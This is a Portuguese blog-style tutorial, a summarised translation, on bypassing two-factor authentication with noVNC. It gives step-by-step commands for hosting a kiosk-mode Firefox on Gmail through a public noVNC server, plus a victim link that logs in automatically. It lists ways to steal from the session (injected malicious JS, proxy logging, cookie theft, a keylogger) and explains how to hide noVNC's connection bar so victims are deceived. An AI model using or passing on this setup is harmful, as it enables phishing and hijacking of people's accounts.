Burlar autenticação em dois fatores com VNC
As maneiras pelas quais isso pode ser abusado são infinitas:
- Ter um JS malicioso injetado no navegador
- Ter um proxy HTTP conectado ao navegador realizando log de tudo
- Fechar a sessão VNC quando o usuário se autenticar
- Pegar o token de sessão do navegador (Botão direito > Inspecionar > Aplicação > Cookies) após o usuário desconectar.
- Ter um keylogger rodando em background
- Seja criativo, lembre-se é seu servidor.
[sudo apt updatesudo apt install tigervnc-standalone-server tigervnc-xorg-extension tigervnc-viewersudo apt install ubuntu-gnome-desktopsudo systemctl enable gdmsudo systemctl start gdm]
Configure uma senha :
[vncpasswd]
Você precisará de criar o arquivo abaixo:
[nano ~/.vnc/xstartup]
Cole dentre do arquivo:
[#!/bin/sh
# Start Gnome 3 Desktop
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
vncconfig -iconic &
dbus-launch --exit-with-session gnome-session &]
Em seguida dê permissões:
[chmod +x ~/.vnc/xstartup]
Agora finalmente, reinicie o VNC server. Note que a sessão VNC usará uma resolução fixa de 2000x1000 , mas não se preocupe pois noVNC auto scaling será demonstrado.
[vncserver -depth 32 -geometry 2000x1000]
Agora baixe e rode noVNC:
[git clone https://github.com/novnc/noVNC.git]
A execução do noVNC é ainda mais fácil. Existem duas opções: executá-lo localmente (para fins de teste) ou publicamente. Ambas as formas são demonstradas abaixo.
[# Running it locally
# Assumes VNC is running on port 5901
# Check port by running vncserver -list
./noVNC/utils/novnc_proxy --vnc localhost:5901
# To access it locally use a SSH tunnel:
ssh -L 6080:127.0.0.1:6080 root@server
# Running it publicly on port 80
ufw allow http
./noVNC/utils/novnc_proxy --vnc 0.0.0.0:5901 --listen 80]
O comando abaixo serve para rodar o navegador Firefox em modo kiosk:
[firefox --app=https://gmail.com --kiosk]
O parâmetro "password=VNCPASSWORD" na url fará com que o usuário se autentique automaticamente. Mas o noVNC é muito flexível. Se você quiser renomear o parâmetro de consulta, é possível modificar o arquivo vnc_lite.html.
[http://127.0.0.1:6080/vnc_lite.html?password=VNCPASSWORD]
O noVNC exibe uma barra no topo dizendo ‘Connected to XXXXX’. Isso pode ser facilmente removido modificando o arquivo vnc_lite.html. Procure por #top_bar e defina-o como display:none.
Este artigo foi uma tradução livre e resumida do artigo original publicado em https://mrd0x.com/bypass-2fa-using-novnc/ . No artigo o autor explica como rodar múltiplas sessões VNC, afinal você não pode enviar o mesmo link para diferentes usuários já que cada sessão significa uma autenticação de conta específica, além de realizar auto-scaling, desabilitar auto-screen-lock etc.
COMENTÁRIOS